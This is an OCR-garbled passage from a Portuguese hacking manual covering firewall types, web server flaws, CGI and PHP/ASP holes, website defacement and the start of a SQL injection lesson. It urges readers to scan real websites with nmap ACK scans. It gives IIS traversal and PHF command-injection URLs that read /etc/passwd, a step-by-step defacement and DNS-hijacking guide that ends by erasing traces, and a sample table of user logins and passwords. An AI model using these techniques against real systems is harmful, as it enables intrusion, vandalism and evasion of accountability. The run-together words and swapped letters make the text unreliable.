  • Universidade2°Ano ~ Os bitsdopacote(SYN ouACK) sãopartedo handshakeTCP? ~ O pacoteIP estásaindoou entrandodarede? Sea respostaparaascincoprimeirasperguntasfor "sim",o ftrewallpermite queo pacoteentreou saia.A conftguraçãodecadaumadassituaçõesdeper- missãoou bloqueiode pacotesé chamadade regra.Um conjuntoqualquer dessasregrasé chamadodeaccesscontrollist(ACL).Háváriossoftwaresdife- rentesqueimplementamf1ltrosdepacotes.Algunssãoinstaladosemhardwares específtcoscomoroteadorese os chamados"firewallsde rack".Outrossão programasquerodamemcomputadorescomuns.Algunspossueminterfaces gráficasparaconftguração,outrosdevemserajustadoscomlinhasde coman- do por vezescomplexas.Comoa sintaxee o modode conftguraçãovariam muito,nãoé possívelapresentarumexemplorealderegrade ftrewall.Entre- tanto,comotecnicamentea f1ltragemé idêntica,variandoapenasa sintaxedo comando,umatabeladeregraspoderia,parafmsdidáticos,serescritaassim: Nesteexemplo,nossoadministradorderedesquisliberaro acessoàWorld WideWebparaos usuáriosdessarede.Normalmente,os servidoresWebrodam naportaTCP 80(lembre-se:RFC1700).Segundoa primeiraregra,todasascone- xõesdedentroparaforacujodestinosejaaporta80sãopermitidas.Obviamen- te,o browserdousuárioenviaumpacoteTCP SYNparaaporta80 doservidor Webe esperaumaresposta.Talrespostavemsoba formadeum pacoteACK, cujaportadeorigemé aTCP 80do servidorcomdestinoaumaportaqualquer maiorque1.024no computadordo usuário.A segundaregrapermiteisso. A terceiraregrapermitequequalquerrequisiçãode conexão(ou seja,um pacoteTCP SYN)sejapassadaaoendereçodo servidorWeb,e apenasa ele,na porta80.Umarequisiçãoà porta80 deoutramáquinaqualquerserábloquea- da.A respostado nossoservidorWebpassapeloftrewall,permitidapelaregra quatro.Por ftm,a regracincobloqueiatodasasoutrasconexões. Maso f1ltrodepacoteséignorante.AlémdoqueestádefIDidoemsuasregras,ele nãosabedemaisnada.Observearegradois.QualquerpacoteTCP vindodefora, cujaorigemsejaaporta80eo flagACKestejaligado,seriaaceitopeloftrewallsem reclamar.Ora,umhackerpoderiaenviarumpacoteACKquenãofossepartedeum hadshakeTCP.Comessepacote,todososendereçosIP daredepoderiamsertesta- dosparaverificarsuaexistência.Issoé umbelofurodesegurança! 1195 1 I VulnerabilidadesII IP Origem IP Destino PortaOrigem PortaDestino Protocolo FlagTCP Ação RedeInterna RedeExternaTodas 80 TCP Todos Permitir RedeExternaRedeExterna80 Todas TCP ACK Permitir RedeExternaServidorWeb Todas 80 TCP SYN Permitir ServidorWeb RedeExterna80 Todas TCP ACK Permitir Todas Todas Todas Todas Todos Todos Negar
  • I Universidade H4CK3R I OutroproblemasãoospacotesUDP.Elesnãopossuemos flagsdecontrole, apenasIP/portadeorigeme destino.O administradortemapenasduasopções: bloqueá-Iosou permiti-Ios.Serviçosimportantescomoo DNS (porta53)utili- zamportasUDPe,portanto,devemserliberadosno flrewall.Aomesmotempo, amesmaportaUDP 53podeserusadaparatransmissãodedadosparao hacker a partirdeum cavalodetróia.O f1ltrode pacotesnãotemcomodiferenciar entrea conexãoválidae a maliciosa. Proxies Osf1ltrosdepacotes,comoo nomejádiz,baseiam-senasinformaçõescarre- gadaspelosprópriospacotesparatomarasdecisõessobrequementraou sai e quemé barrado.Diferentemente,flrewallsbaseadosnatecnologiaproxytra- balhamcoma camadadeaplicação.O proxyinteragecomo programae seus protocolos,independentede comoesseprotocoloseráencapsuladonapilha TCP/lP.Por exemplo,umproxyparaWebmuitoconhecidono mundoUnix,o Squid,trabalhaapenascom o protocoloHTTp,bloqueandoos demais2.Além disso,é imunea ataquescompacotesisolados.O pacoteACK quepassoucom galhardiapelo f1ltrode pacotesserásolenementeignoradopelo proxy,que aindavai"escovarosbits"do protocoloHTTP paradeixarpassarapenasmen- sagensquelhe obedeçamestritamente- açãomuitomaisefetivado quesim- plesmentebloquearasconexõesACKTCP/80.Háproxiesparatodososgostos, sendoHTTp,FTP eTelnetosmaiscomuns. Proxyrepassa solicitaçãoaoservidor . Proxy Opcionalmente,umproxypodeautenticarusuários,permitindoqueapenas loginsdevidamentecadastradoso utilizem.Seé útilparacontrolarquempode ou nãoacessarserviçosexternos- um controleassazválidoemempresas- é muitomaisútil paraimpedirquecavalosdetróiaconectem-secomseusamos malignosenvoltosnasbrumasdaInternet.Defato,emumf1ltrodepacotesque permitaconexãopelaportaTCP 80,alémderequisiçõesHTTP válidas,poderí- amoster trojansconectando-sepelamesmaporta.Com um proxy issonão seriapossível.Mesmoqueo trojandisfarceseusdadoscomumcabeçalhoHTTP válido,a conexãonãopassariapelo esquemadeautenticação. 2. Normalmente,eleé configuradoparaservirapenascomoo proxy web. 1196 1 VulnerabilidadesII [
  • Universidade2°Ano Filtros de pacotes por estado (SPF) Que tal dotarde alguma inteligência os microcefálicos illtros de pacotes? Uma nova tecnologia de análise de pacotes foi agregadaaos illtros, permitindo que eles lembrem-se de pacotes anteriores antesde permitir outro mais recente entrar.Essa "memória" é implementada na forma de uma tabela de conexões ativas. Quando uma conexão é iniciada, todos os dados do pacote são guardados nela. Se um novo pacote chegar em direção à mesma máquina, o SPF consulta a tabela. O novo paco- te é aceito caso seja dada a continuação da conexão ou rejeitado, se não for. Um exemplo prático é o próprio hadshake básico do TCP. Uma máquina de dentro da rede envia um pacote TCP SYN, que passa pelo SPF e é registrado na tabela. Essa máquina espera por um pacote TCP SYN/ ACK da outra máquina (externa) que participa da conexão. Quando o pacote chega, o SPF analisa a tabela e, verificando que é um pacote válido, permite sua passagem. O firewall sabe que só pode aceitar o pacote SYN/ ACK se ele for uma resposta a um SYN vindo de dentro da rede. Com isso, aquele black-hat esperto que usou um paco- te ACK solitário não conseguirá, desta vez, bisbilhotar nossa rede. Pesquisando as regras do filtro de pacotes Um script kiddie normalmente desiste de escanear a rede se seus pacotes ACK não passarem pelo flfewall. Há maneiras de furar qualquer um dos três tipos de flfewalls, e que serão estudadas com outros detalhes mais adiante no livro. Por ora, vamos nos preocupar com a fraca oposição oferecida pelos illtros de pacotes. Tristemente, vemos que a maioria esmagadora das redes conectadas à Internet possui apenas esses illtros instalados. Os proxies são comumente usa- dos como caches para aumentar a performance das conexões e raramente de- sempenham um papel de firewall. SPFs são ainda mais negligenciados: a maioria dos "administradores" de rede por aí sequer sabe o que são Stateful Packet Filters. É possível determinar, por meio de pacotes ACK, quais portas um f1ltro de pacotes deixou abertas. Como vimos, os filtros de pacotes deixarão entrar qual- quer pacote com o flag ACK ligado, pensando que são respostas a requisições saintes SYN anteriores. Um portscanner (por exemplo, o Nmap) pode enviar pacotes ACK para todas as portas de um determinado endereço. Fazendo isso com todos os endereços da faixa de IPs designada para aquela rede é possível determinar todas as regras de f1ltragem daquele firewall. Rede Privada 1197 1 I Vulnerabilidades11
  • I Universidade H4CK3R I Parafazero NmapenviarpacotesACK atodasasportasdeumaúnicamáquina, utilizea opção-sA(vocêdeveserrootparaisso): #nmap-sAIP.A.SER.VASCULHADO O promptmostradoé deumUnix,maso comandonoWindowsseriaexata- menteo mesmo.Obviamente,podem-seusarosfrontendsgráficos(NmapWin e Nmapfe)parafacilitara tarefa,seassimfor desejado. É possívelfazero mesmoscancomtodasasportasdeumafaixadeIPs (ou seja,diversasmáquinas).Por exemplo: # nmap-sA 192.168.1. * Varretodosos IPs de 192.168.1.0a 192.168.1.255 # nmap-sA 192.168.1.3-127 VarretodososIPsde192.168.1.3a192.168.1.127 Dispareessecomandocontravárioswebsitesevocêveráquenemtodosfize- ramaliçãodecasa.Escolhaumdeles(o maisesburacado)e tente,a partirdos dadosapresentadospeloNmap,determinarasregrasdo firewallemquestão. Outrocomandomuitointeressantenestahoraé oTraceroutelTracert.Sevocê estáemumamáquinaUnix,experimentedaro seguintecomando: # traceroute IP.DO.WEB.SERVER EmumamáquinaWindows,o comandoseria: C: \ TRACERT IP .DO.WEB.SERVER VocêveráumalistacomtodososnúmerosIP (e,sedisponíveis,osnomesde DNS)doscomputadorese roteadoresqueestãonocaminhoentreo seucompu- tadore o computadordestino.É muitoprovávelque,sendoo computadordesti- no umwebserver,asduasinterfacesderede(ouseja,osnúmerosIP) imediata- menteanteriorespertençamaofirewall.Já temos,comisso,trêsinformações válidas:o endereçoIP dowebserver,osendereçoIP dofirewalle suasregrasde filtragem.Comumpoucodepaciência,o "hacker"podetentardiversosendere- çospróximoscomo NmapeoT,raceroutelTracerte,comosdadosobtidos,dese- nharumdiagramaaproximadodaredea seratacada.Perigoso,nãoé mesmo? Depossedessasinformações,umscannerdevulnerabilidades,comoovaloro- so Nessus,poderáabrirummundode opçõesparainvadirqualquerumadas máquinasencontradas.Bastadescobriro furo,baixaro exploit(www.cert.org e www.securitifocus.com.pra começar)e correrparao abraço. ServidoresWeb É precisoconhecercomcertaprofundidadeos daemondHTTP a seremata- cadosparapoder,rapidamente,invadi-Iose alterarsuaspáginas.Conheceras vulnerabilidadesexistentesnelesé crucialparao sucessodaempreitada.Após invadidos,os caminhosquelevamàspáginasdevemserdescobertosrapida- menteparaevitarumtempomuitolongodeconexãoepossíveisrastreamentos. 1198I Vulnerabilidades11[
  • Universidade2°Ano Apache O servidorHTTP númeroum no mundoé o Apache (www.apache.org).É umprogramade códigoabertoe livredistribuiçãomuitoprestigiadopor seu desempenho,segurançae flexibilidade.Entretanto,nenhumsoftwareé 100% seguro,e oApachenãoé exceção. Os arquivosde configuraçãodoApachenormalmenteestãono /etc, nos diretórios/etc!httpdou/etc/apache.Emalgumasimplementações,podemestar em/usr/locaVapacheou /var!httpd.É importantequeo atacantesefamiliarize comosconceitosdeoperaçãodeumservidorHTTP,comoApacheemespecial e,principalmente,como arquivodeconfiguraçãohttpd.conf.Outropontointe- ressanteaestudarsãoosmecanismosdeacessoapáginasrestritaspor meiode senhas.Taismecanismosusamarquivosnormalmentechamadosde .htaccespara guardaro logine a senhadosusuárioscadastrados.Todasessasinformações constamnadocumentaçãodoproduto,disponívelno siteoficial. A melhormaneiradeaprendersobreoApacheémexendonele.InstaleumLinux qualqueremumcomputadordetestesbemcomooApachemaisrecente.Brinque comasconfigurações,procureHOwros naInternet,criepáginasdeacessorestri- to e,principalmente,vejacomoahierarquiadediretóriosé organizada. Comonemtudosãoflores,o Apachepodeestarvulnerávela ataques.Além demáconfiguraçãodo Unix queo hospeda,o próprioApachepodeestarmal configurado.Masmesmoque tudo estejaemordem,pode haverfalhasno softwarequepossibilitemumainvasão.Um exemplosimples.OApachepossui ummódulo,mod_php,quepermitea execuçãodesistemasescritosnalingua- gemPHPno servidor.Algumasfunçõesdomod_phppermitemqueumprogra- maexternosejaexecutado.Nessassituações,o controledaportapelaqualo Apache"escuta"(normalmentea80)é passadoaesseprogramaexterno.Sendo assim,é fácil fazerum programinhacom códigomaliciosoque permitaao hackertomarcontadaporta80:bastaqueo programanuncadevolvao con- troleparao Apachee queestejaabertoparatransmissãode dadospor parte dohacker.O invasorpodeenviarqualquercoisapelaporta80,inclusiveoutras páginasHTML,semalteraro conteúdodaspáginashospedadasno servidor.O exploit e uma explicação mais detalhadapodem ser encontrados em www.guninski.com/phpl.html. Sun ONE / iPlanet A Sunofereceo servidorHTTP SunONE (anteschamadode iPlanet),um servidorpoderosoe muitorápido,mastambémcomalgunsbugs.O SunONE fazpartedeumconjuntomaiordeferramentasparadesenvolvimentodeapli- caçõescorporativasemJava,e,portanto,édifícil(masnãoimpossível)encontrá- 10servindopáginasdaWeb.A documentaçãosobreo servidorpodeserencon- trada na página oficial: wwws.sun.com/software/products/web srvr/ homeweb srvr.html. 1199I I Vulnerabilidades11
  • IUniversidadeH4CK3RI Umadasvulnerabilidadesmaisconhecidasdo antigoiPlanete quealgumas versõesdo SunONEherdaramé umbugno componentedepesquisadoservi- dor - aquelecampoquepermiteaointernautaprocurarpor algumacoisaden- trodosite.Umdosparâmetrosdepesquisaé o comandoNS-rel-doc-name.Uma stringmuitolongaassociadaa esseparâmetrocausaum bufferoverflowno componentee permitequecódigosarbitrárioscompoderesde superusuário sejamexecutadosno servidor.Seemvezdecódigofor enviadaumastringqual- quer("lixo"),oservidorpoderátravaresairdoar.Avulnerabilidadeestáexplicada emdetalhesno siteSecurityFocus(www.securityfocus.com/bid/48511info). MicrosoftInternetInformationServices(IIS) Maso campeãoabsolutodefalhasdesegurançaemwebserversé, semdúvi- da,o InternetInformationServer(ouIIS) daMicrosoft.Desdeseulançamento, falhassãodescobertasquasequemensalmente,e algumasvezesoshotrIxese ServicePacksconsertamumaou duasfalhas,masabreoutrasmais.Os primei- rosataquesaoIISerampossíveisapenasmanipulandoaURLvisitada.Porexem- plo, asprimeirasversõesdo IIS permitiamquea URL fosseinformadaassim: http://site.com.IIS.com/../../Arquivosde programaslPerl/per1.exe Noteo ../../.IssoindicaaoWindowsNTparasubirdoisdiretórios.Ora,seestamos em/www/documenroot/,bastasubirdoisdiretóriosparachegaraoraiz(C\). Se funcionar,qualquerdiretórioestarádisponívelaousuário,incluindoos quecon- témprogramas.Se,emvezdenavegarcomo browser,nossointrépidohacker usaroprogramatelnet,aURLacimaprecedidapelocomandoGETtrariaoprompt decomandodo interpretadorPerI.A partirdele,qualquercoisaé possível. Hoje,o maiorproblemado IIS sãoos ataquesconhecidoscomo crosssite vulnerabilities.O atacantedevemontarum sitecom IIS e nelecolocaruma páginaHTMLcontendoumscript(podeser]avascriptouVBScript)queapon- te paraalgumasdaspáginasde administraçãodo servidor,notadamenteos presentesnapastaIISHELP.O scriptpodetambémserenviadopor e-mail(e o Outlookalegrementeo executarásemperguntar).Ao serexecutado,o script tomarápossedoIIS vítimae nãodo IIS dohacker.Usandoessafalha,o atacan- tepodemonitorarsessões,copiardadose documentosimportantesoumesmo executaralgunstiposde programas. É interessantenotarqueo IISHELPé bloqueadoparaa zonadaInternet.Um scriptvindode foradaredenuncaconseguiriaacessá-Io.Masao executarde dentrodarede(peloInternetExploreroupeloOutlook),o usuárioestádando ao scriptos poderesnecessáriosparacontrolaraspáginasadministrativas.O anúnciodessafalhapodeservistonoTechNet(www.microsoft.com/technet) sobo códigoMS02-062. Outroproblemagrandecomo IIS é o UnicodeBug.O WindowsNT (e seu ftlho,o Windows2000)estápreparadodesdehámuitotempoparasuportara codillcaçãodecaracteresUnicode,quevisaaunillcarosconjuntosdecaracteres 1200I Vulnerabilidades II r
  • Universidade2°Ano de todas as línguas do mundo, acabando com os problemas de internacionalizaçãodeprogramase sites.Ocorreque,apesarde os SOsesta- rempreparadosparao Unicode,o IIS nãoestá.Enviandoumastringcominú- meroscaracteresUnicode255c,é possível,no [maldastring,colocarcoman- dosparaexecução.No CD,inserimosalgunsexploitsparao Unicodebug.Para corrigirestafalhasugerimosquevocê substituao servidorIIS por um Linux comApache(a melhoropção).SeinsistiremusaroWindows,apliqueo patch oficial,disponívelemmicrosoft.com/technet/security/bulletin/msOO-057.asp. O IIS aindaprestaumserviçoaoinvasor,gravandodadosfalsosno logoCon- formereportadono SecurityFocus(www.securityfocus.com/bid/6795/info). URLsespecialmentemalformadascomcódigoshexadecimaispodemfazercom queo sistemagraveentradasfalsasnosarquivosde logoCom isso,é possível destruirregistrosde invasãoe confundirosprogramasquelêemo logo Há diversoslivrosescritossobreos trêsservidorescitados,e ossitesoficiais (especialmenteo doApache)fornecerãoinformaçõesdetalhadase fartadocu- mentaçãosobreeles.Interrompaa leiturado livro e estude-os.É importante. Sugirotambémumapassadinhano SecurityFocus(www.securityfocus.com)e umabuscapelasvulnerabilidadesdessestrêsservidoresdeHTIP. Sepor acaso osconceitosutilizadosnossitesforemmuitoobscurosparao leitor,sugerimos relertodoo livro,bemcomoosapêndicesno CD-ROM. Common GatewayInterface (CGI) OS servidoresHTTP podemseramplamenteestendidoscom a adoçãode mecanismosquepermitamo chamadoconteúdodinâmico,umatecnologiaque possibilitaa montagemdepáginaspersonalizadase deconteúdovariávelpara cadavisitantee acesso.Taltecnologiaabriuasportasparaumainfinidadede novosserviçosaointernauta,comoocomércioeletrônico,aspáginasinterativas, os serviçosdenotíciaspersonalizáveise o tratamentode formulárioson-line. De quebra,tambémabriuasportasparaos hackers. A formamaisantigadedotarossitesdeconteúdodinâmicosãoosCommon GatewayInterfaces,ou CGIs.Essesmódulos,agregadosao servidorWeb,per- mitemque aspáginasHTML oferecidaspossamtantoenviarquantoreceber dadosde um programaexterno.Com isso,sistemasde tratamentode dados podemmanipularasinformaçõesrecebidase mostraro resultadona tela.Se vocênãotemidéiade comoissopodeserfeito,sugiroparara leituradeste livro (novamente...)e ir atrásde um bomlivro sobreHTML. Não,não,seus conhecimentosdeFrontPageou Dreamweavernãovãoajudá-Ioagora.Depois determinarseusestudossobreHTML,procureaprenderalgosobre]avaScript eVBScript.Sódepoiscontinueno parágrafoseguinte. Os programasquefuncionamcomoCGI scriptspodemsermuitosimples.E podemserimplementadosemquaisquerlinguagensdisponíveisno servidor. Por exemplo,numa máquina rodando Windows, pode-se preparar um 1201 I ]Vulnerabilidades11
  • IUniversidadeH4CK3RI programinhaemDelphi,VisualBasicoumesmoumarquivodelote(.BAT)que interajacomo IIS.No Unix,pode-seusarPerI,Python,programascompilados em C ou mesmoshellscripts,comoCGls. Falhasnessesprogramaspodem comprometerservidoresHTIP que,de outraforma,estariamseguros. Furos de segurançaenvolvendoCGls são tão antigosquantoa própria tecnologia.Os própriosservidoresjá vinhamcom CGls-exemplopré-instala- dos.Um exemplo,vindode instalaçõesUnix muitoantigas,é a falhado tipo PHF.O arquivoPHFé umCGI scriptusadoparaatualizarumalistadetelefones depessoas.Essalistaé disponibilizadaon-linepelo servidorWeb,e é possível montarumformulárioqueseutilizedesteCGI paraatualizara lista. Nos sistemasUnix comApache,o localpadrãoparacolocarscriptsCGI é o diretório/caminho/para!http/cgi-bin/.Por default,a maioriadosantigosservi- doresWebinstalavamo PHF comoexemplo,e,comoadministradoresdesiste- manuncalêema documentação,os scriptsacabavamficando.Entretanto,o scriptPHF comporta-semalquando,juntocom comandosválidos,coloca-se umcaracterenewline(emhexadecimal,OAh)naURL decontrole.Um ataque simplespoderiaser: http://vulnserv.com/cgi-bin/phf?Qalias=x%Oa/bin/cat%20/etc/passwd. Sevocêprestaratenção,depoisdo newline(OAh)foi emitidoo comando /bin/cat /etc/passwd. O caractere%20é o códigoASCII paraespaçoembranco.Váriasaçõessão possíveise comandosemseqüênciasãoumaboaidéia.Normalmenteo script rodano Unix emumshellmuitorestrito,sendoo usuárionobodyo "campeão de audiência".Sevocêtivera sortede o CGI rodarcom SUID,pronto!Você emitirácomandoscomoroot! Tantoo PHF quantoo Unix foramapenasexemplos.OutrosCGls sãovulne- ráveis(quasetodos...)e é possívelrodarcomandosdeoutrasplataformas.Um servidorWindowsNT aceitaos comandosdo DOS,por exemplo. A melhormaneirade seprecaverquantoaosproblemasdosscriptsCGI é nãoos usar.Por contadisso,outrasformasde interagircom o usuáriosãoas maisutilizadasatualmente.Algunsexemplossãoos servidoresde aplicações Zopee ColdFusione aslinguagensdinâmicasASPe PHP.Masmesmoelespos- suemfuros,porémnãotãotoscosquantoos dosCGls. PHP e ASP As duaslinguagensmaisusadasparaa implementaçãodesitesdinâmicosna Web são,sempre,cheias de falhas.Como elas precisam efetuar algum processamentoantesdeenviara páginaHTML formatadaaobrowser,é possí- vel inserircomandosmaliciososnaURL ou emalgumformulárioe conseguir umshellparasi.Como shell,a portaparaseudefacementestáaberta. A linguagemPHP (HypertextPreprocessor)foi desenvolvidaparasubstituir 12021 Vulnerabilidades11[
  • Universidade2°Ano os scriptsCGI emservidoresUnix, emboratenhasidoportadaparadiversas plataformas,incluindoWindows.O sistemaActive ServerPages(ASP), da Microsoft,por outrolado,é comoum"shell"queinterfaceiao servidorIlS e qualquerlinguagemexterna.A maisusadaparamontarprogramasemASPé o VBScript,masmuitasoutraspodemserusadas,incluindo]avascripte WSE. Apesardamaiorsegurançae desempenhoqueessaabordagemoferece- afi- nal,nenhumprogramaexternoaoservidorWebestásendorodado-, aindahá algumasfalhasquepodemserexploradas.Paraumalistacompleta,consulte seu site de vulnerabilidadespreferido, por exemplo o Security Focus (www.securityfocus.com),o Linux Security(www.linuxsecurity.org)ou o SecurityBugware(www.securitybugware.org). Defacements Depoisde atacarcomputadorespessoais,a próximagrandeempreitadados scriptkiddiesé a desfiguraçãode web sites,os chamadosdefacements.Até agora,conseguimosverificar(apenascom Nmape Traceroute/Tracert)os fu- rosno firewalle mapeartodaa redediretamenteconectadaà Internet.Apren- demosaindaa usarproxiesparaaumentarnossoanonimatoe a mandarfake- mails- coisaquefacilitaa vidade qualquerengenheirosocial.A redeinterna aindaé inacessívelparanós.Por enquanto... Um defacementé algosimplesde fazer.Claroquehá casose casos,alguns maisdifíceis,outrosextremamenteinfantis,masno geralos passosbásicos paraum defacementsão: 1 EngenhariaSocial,aplicadaaosadministradoresdosite.Umexemploclássi- co é o própriositedaDigerati(www.digerati.com).quefoi desfiguradopela hackerjuvenilMelpôneme.Usandoapenastécnicasdeengenhariasocial,elades- cobriuassenhasdosadministradoresdo sitedaDigeratino registronacionalde domínios(registro.br).A partirdosdadosobtidoslá,acessandocomassenhas conseguidas,invadiuoDNS(tambémsemexploits,apenascomsenhasconseguidas porengenhariasocial)queapontavaparanossoservidorWebe alterouo IP,apon- tandoparao servidordela.Resultado:os sitesdaGeeke daDigeratiaparente- mentedesfigurados.A imagemdositedesfiguradoestáno CD. 2 ComES,tudoficamaisfácil.Mascomou seminformaçõesprivilegiadas, deve-secuidardoanonimatoquandotentarqualquerataquecomferramentasde informática.Paraisso,cuidedeseprotegercomspoofmge proxiespúblicos. 3 Façascansdeportase devulnerabilidadesatédescobrirseosDNSsou o webservertêmfalhasquepodemserexploradas.Sesim,váatrásdosexploits e consigaacessoaoshelldamáquina.Observequemuitasvezesvocêteráaces- sorestrito,entãoprecisaráfazercrackingdesenhasou bruteforce(videcapí- tulo 7,Vulnerabilidadesl) paraconseguiracessoao superusuário. 12031 I Vulnerabilidades11
  • IUniversidádêH4CK3R I 4 Uma vez com acesso,procure pelos diretórios em que as páginas são guardadas.Em máquinas Windows com IIS elas ficam em /www/documentroot. Em máquinas Unix isso é variável, pode estar em !home!http, /var/www, /var/ http, /usr/local/apache/www, entre outros. Utilize o comando fmd (ou, se dis- ponível, o comando locate) para encontrar o diretório www ou http. 5 Encontrado o diretório, seja bonzinho e faça backup de todo o site, colo- cando-o em um arquivo compactado deixado aí mesmo ou copiando-o para um diretório qualquer. 6 Substituao index.html (ou .php ou .aspou .htm ou .xhtml ou .shtm...)pelo seu próprio,já previamente diagramado,ANTES de iniciar a invasão.Você não quer dei- xar a conexão abertaenquanto cria a página,perigando ser rastreado,não é mesmo? 7 Apague todos os seus rastros. . Em caso de máquinas DNS, o procedimento é similar.Você deve ter um servi- dor Web no ar e testado,contendo a página a ser mostrada. Invada o DNS e altere as entradas. Por exemplo, você é a favor da guerra no Iraque e quer desfigurar o site www.stopthewar.org (Atenção lammers - este site não existe!). Descubra qual o DNS que aponta para ele (dica: use o serviço WHOIS com o comando nslookup) e invada a máquina. Lá, você vai encontrar o domínio stopthewar.org associado a um determinado número IP. Troque pelo IP do seu servidor Web contendo a página falsa e pronto, está feito! Não se esqueça de verificar se há DNSs secundários. Você terá de monitorá-Ios para certificar-se de que sua altera- ção seja propagada, caso contrário, terá de invadi-Ios também e alterá-Ios"à mão". Bancos de Dados A maioria dos sitescom conteúdo dinâmico e controle de acessoutiliza-sede ban- cos de dados.Os primeiros para armazenaros retalhos de código a fim de usar para montar o HfML entregueao cliente, os segundospara manter o cadastrodos usuári- os. Ambos podem ser facilmente acessadoscom algum trabalho braçal. Conectandodiretamentevia Internet Certos administradores de redes (ou mesmo usuários leigos...) deixam seus bancos de dados completamente escancarados na Internet, sem f1ltragem por firewall. É possível conectar-se a eles por meio das ferramentas disponíveis no próprio sistema operacional, ou instalando, no computador do atacante, um banco de dados idêntico ao da vítima. Um exemplo prático: na Internet, você encontrou com um scanner de vulnerabilidades (por exemplo, o Nessus) um servidor Unix rodando o banco de dados PostgreSQL. Para acessá-Io, basta instalar e configurar um front end gráfico para acesso e administração dos bancos de dados do Prostgre chamado pgaccess (www.frex.ro/pgaccess). 2041 Vulnerabilidades11[
  • Universidade2°Ano Um poucode engenhariasocialserá necessárioparadescobrirosnomesdas bases de dados e de usuários. O PostgreSQLfoi sóumexemplo,épossí- vel fazerissocomqualquerbancode dados,inclusiveo MS-SQLe o Access, quandoconfiguradoscomofontesde dadosODBCpararede.Umainstalação comasopções-padrãodobancodeda- dosa seratacado,na máquinado ata- cante,ajudae muitoa descobrircon- tas-padrão.Scriptsdeconexãoa SQLe ODBC,sebemescritos,podemauxiliar emum eventualbroteforce.Procure aprofundar-senastecnologiasde ban- cosde dados.A Internetestácheiade tutoriaissériosa respeitodo assunto. Recomendamosa você,antesde tentaratacartaisprogramas,procurarsaber comousá-Iosdamaneiracorreta.Humm,talvezsejahoradevocêinterromper novamentealeiturado livro... SenhasnaWeb [teoriax prática) Todograndesitesolicitaqueo internautasecadastreparaliberarconteúdo exclusivo.Depoisdo cadastro,é necessárioqueo internautaforneçalogine senhatodavezqueentrarno site.Seo serviçoé cobradoounão,nãointeressa. Os dadosdo usuárioserãocatalogadose mantidosemum bancode dados,e usadospelaempresamantenedorado siteparaquaisquerfins.Normalmente taisempresaspossueme divulgamumapolíticade privacidade,garantindo queseusdadosestãonumambienteseguro,livredeolhosmaliciosose quea própriaempresanão os divulgarávoluntariamentesob qualquerpretexto. Mesmocomasdesconfiançasdepraxe,namaioriadasvezes,acreditamosna palavradosprofissionaisa quemconfiamosnossasinformações,bemcomona segurançade seussistemas. Essefalaróriotodonosdáa impressãodequenossosdadosestarãoseguros, certo?Ledoengano.Nemsempreossitesseutilizamdeferramentasadequadas paradesenvolverseusprodutose serviços.Váriastécnicaspodemserusadas paraenganarasrotinasde logine nosforneceracessoprivilegiadoao siteou mesmoobteros loginse senhasdosoutrosusuários.Uma dastécnicasé a chamadaSQLInjection,queconsisteeminserircomandosda linguagemSQL noscamposdeloginesenhapara,deacordocomamensagemdeerroretornada peloservidor,mapeartodoo bancodedadosdosusuários.Essemétodofunci- onaparascriptsASPqueseutilizamdechamadasSQL,maspodeseradaptado paraqualquerlinguagemde scriptingou CGI, comoPHP ou PerI.A sintaxe podeserdiferente,maso mecanismoé similar. 12051 ]VulnerabilidadesII
  • IUniversidadeH4CK3RI EMTEMPO!ConheceSQL,ASPe PHP?Não?É pena,massouforçadoa sugerir quevocêparenovamentealeiturado livroe procureinstruir-senessesassuntos. Comececomumbancodedadossimplescomoo MySQLe umalinguagemlivre comooPHP.BonspontosdepartidasãoossitesWebmonkey(wwwwebmonkey.com) e Developer'sShed(wwwdevshed.com).OssitesoficiaisdoPHP(wwwphp.neOe MySQL(wwwmysq1.com)tambémsãobemprodutivos.Umaprocuraemsitesde buscapelaspalavras"PHPMySQLTutorial"ebonslivrossobreo assunto(esãomuitos) completamsuasnecessidadesiniciais. Partimosdoprincípiodequesempreexisteumatabela,dentrodobancodedados, quecontémtodasasinformaçõescadastraisdosusuários.Nãoéestimativa:estatabe- la é necessária!Nãosabemos(ainda)qualo nomedatabela- podeserUsers, Usuários,UserDB,Papagaio,SacoDePitombas-, então,porenquanto,vamoschamá-la detabela_usuarios.A tabeladeusuáriospodepossuirdiversoscampos,comoende- reço,telefone,e-mailparaconfirmaçãoounúmerodo cartãodecrédito.Mashá quatrocamposquesãoobrigatóriosemqualquertabeladessas.Osnomesdoscam- posobviamentepodemvariar,massuasfunçõesnormalmentesãoasmesmas: ~ID: Umidentificadorúnicodecadausuáriono sistema.É achamada"chave primária",e é necessáriaparao corretofuncionamentodatabelae seusrelaci- onamentoscomoutrastabelas. ~NomeCompleto:Camponãotãoimportanteparaaautenticação,mastrata-seuma maneiradepersonalizarofuncionamentodositeparacadausuário. ~Login e senha:Os camposmaisimportantes;garantemo acessoao site paraos usuárioscadastrados. ~Admin:Umflagqueindicaseo usuáriotempoderesespeciaisparaadmi- nistraro site. Um exempodetabelaseria: Essefragmentodetabelanosrevelacoisasinteressàntes.O quemaissaltaà vistaé queassenhasdosusuárioscomunsnormalmentesãomuitofracas,e um bomataquepor dicionáriofacilmenteasdescobriria.Mashá algoque,de tão óbvio,passadespercebidopelamaioriadaspessoas:os administradoresquase sempresãoosprimeirosnomesdalista.Emmaisde90%doscasos,o ID 1da tabelacorrespondeaodesenvolvedor,queseguramentedeuasimesmopoderes de administradorparapoderfazeros testesnecessários.Essainformaçãoserá útil maisparafrente. 12061 VulnerabilidadesII [ ID NomeCompleto Login Senha Admin?(S/N) 1 HenriqueCesarUlbrich ulbrich W6rYwH S 2 JamesFábioDellaValle james D3114V4113 S 3 SuzanaWarren suzy pipoca N 4 FabioCruz fcruz blaublauO1 N
  • Universidade2°Ano Voltemosaosite.Quandoo usuáriopreencheos camposdelogine senha,o scriptASP os guarda,cadaum emumavariável.Vamoschamá-Iasde login e senha.Nãoé muitooriginal,mastenhacertezadequeumgrandenúmerode sistemaspor aíutilizaexatamenteessesnomes,algumavariaçãodelesou seu correspondenteeminglês. O próximopassoseriao scriptASPcompararosdoiscamposcomo queestá cadastrado,paragarantirou barraro acessoaosite.Um exemplodecomando ASP seria: SQLOpen = ffSELECT login, senha, nome, admin FROM tabela_usuarios WHERElogin = ' ff &Login& ff , AND senha = ' ff &Senha& ff , ff O queessecomandofazémandarparao bancodedadosumcomandoSQLpara listartodososusuáriosquecontenhamologineasenhainformados.Porexemplo,se uminternautadigitar,comologinesenha,"junior"e"fabio",astringSQLficariaassim: SELECT login, senha, nome, admin FROM tabela_usuarios WHERElogin = 'junior' AND senha = 'fabio' Trocandoemmiúdos,essecomandosolicitaráao bancode dadosumalista comtodososregistroscujocampologinfor juniore o camposenhasejafabio. 